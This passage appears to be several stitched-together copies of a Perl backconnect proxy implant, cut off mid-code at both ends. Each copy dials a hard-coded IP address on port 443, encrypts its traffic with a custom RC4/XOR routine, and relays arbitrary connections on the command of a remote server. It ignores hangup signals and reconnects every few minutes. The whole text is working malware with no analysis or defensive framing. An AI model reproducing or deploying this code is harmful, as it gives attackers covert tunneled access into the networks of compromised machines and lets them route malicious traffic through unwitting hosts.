3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '36.255.98.161'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 1); substr($str_wec, 1, 1) = substr($buffer0, 2, 1); $edx = vec($str_wec, 0, 16); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 1; $i < 200; $i++) { if (defined($socketarr[$i])) { shutdown($socketarr[$i], 0); } } sleep 10; if ($isExit == 1) { exit; } return $_ret; } while(1) { bccnct(\$host, \$port); sleep 180; } #!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.201'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); #!/usr/bin/env perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); my $host = '62.60.131.196'; my $port = 443; $SIG{PIPE} = 'IGNORE'; $SIG{HUP} = 'IGNORE'; $SIG{CHLD} = 'IGNORE'; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { vec($xordata, $i, 8) = int(rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; vec($rc4, $_, 8) = $_ for 0..255; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = vec($rc4, $pockemon0, 8); $pockemon1 += vec($$passw, $pockemon2, 8); $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; vec($rc4, $pockemon0, 8) = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = vec($rc4, $pockemon2, 8); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = vec($rc4, $pockemon1, 8); vec($rc4, $pockemon2, 8) = $pockemon8; vec($rc4, $pockemon1, 8) = $pockemon7; $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; vec($$buff0, $start + $pockemon3, 8) = vec($rc4, $pockemon8, 8) ^ vec($$buff0, $start + $pockemon3, 8); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { vec($$buff0, $start + $rsi, 8) = (vec($$buff0, $start + $rsi, 8) ^ vec($$passw, $rbx, 8)); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $length = shift(@_); my $offset = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== syswrite($cSocket, $buffer, $length, $offset); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; my $str_wec = "\x00\x00"; my $buffer1 = "\x00" x 65536; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($cSocket, SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($cSocket, SOL_SOCKET, SO_SNDBUF, 65536); fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) | O_NONBLOCK); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (vec($buff0, 7, 8) == 3) { $domain = substr($buff0, 9, vec($buff0, 8, 8)); substr($str_wec, 0, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 9 + vec($buff0, 8, 8) + 1, 1); $port = vec($str_wec, 0, 16); } elsif (vec($buff0, 7, 8) == 1) { $domain = sprintf("%d.%d.%d.%d", vec($buff0, 8 + 0, 8), vec($buff0, 8 + 1, 8), vec($buff0, 8 + 2, 8), vec($buff0, 8 + 3, 8)); substr($str_wec, 0, 1) = substr($buff0, 12 + 0, 1); substr($str_wec, 1, 1) = substr($buff0, 12 + 1, 1); $port = vec($str_wec, 0, 16); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; fcntl($cSocket, F_SETFL, fcntl($cSocket, F_GETFL, 0) ^ O_NONBLOCK); $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, length($responce), 0); if ($_ret == 1) { while (1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = sysread($cSocket, $buffer1, 65530, 3); unless($data) { last; } vec($buffer1, 0, 8) = $num; vec($str_wec, 0, 16) = $data; substr($buffer1, 1, 1) = substr($str_wec, 1, 1); substr($buffer1, 2, 1) = substr($str_wec, 0, 1); Rc4_crypt(\$xordata, 50, \$buffer1, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer1, 3, $data); synsend($sSocket, $buffer1, 3 + $data, 0); } } close($cSocket); vec($responce, 0, 8) = $num; substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, $responce, 3, 0); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = "\x00" x 65536; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; my $str_wec = "\x00\x00"; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); setsockopt($socketarr[0], SOL_SOCKET, SO_RCVBUF, 65536); setsockopt($socketarr[0], SOL_SOCKET, SO_SNDBUF, 65536); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); syswrite($socketarr[0], $buffer, length($buffer)); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; unless(select($rin, undef, undef, 60)) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, length($buffernull), 0); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0 && defined($socketarr[$ebx])) { shutdown($socketarr[$ebx], 0); } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = sysread($socketarr[0], $buffer0, $ecx, $remaining + 4); unless ($data) { last; } $remaining += $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (vec($buffer0, 0, 8) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); my $pid = fork(); if (!defined $pid) { die "Cannot fork a child: $!"; } elsif ($pid == 0) { newConnection($ebx, $socketarr[0], $socketarr[$ebx], $buffer0); exit 0; } } else { syswrite($socketarr[$ebx], $buffer0, $remaining, 4); } $remaining = 0; } } $remaining4 = 0; } else { $eax = 4; $eax = $eax - $remaining4; $data = sysread($socketarr[0], $buffer0, $eax, $remaining4); unless ($data) { last; } $remaining4 += $data; substr($buffernull, 0, 3) = "\x00\x00\x00"; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = vec($buffer0, 1, 8); substr($str_wec, 0, 1) = substr($buffer0, 3, 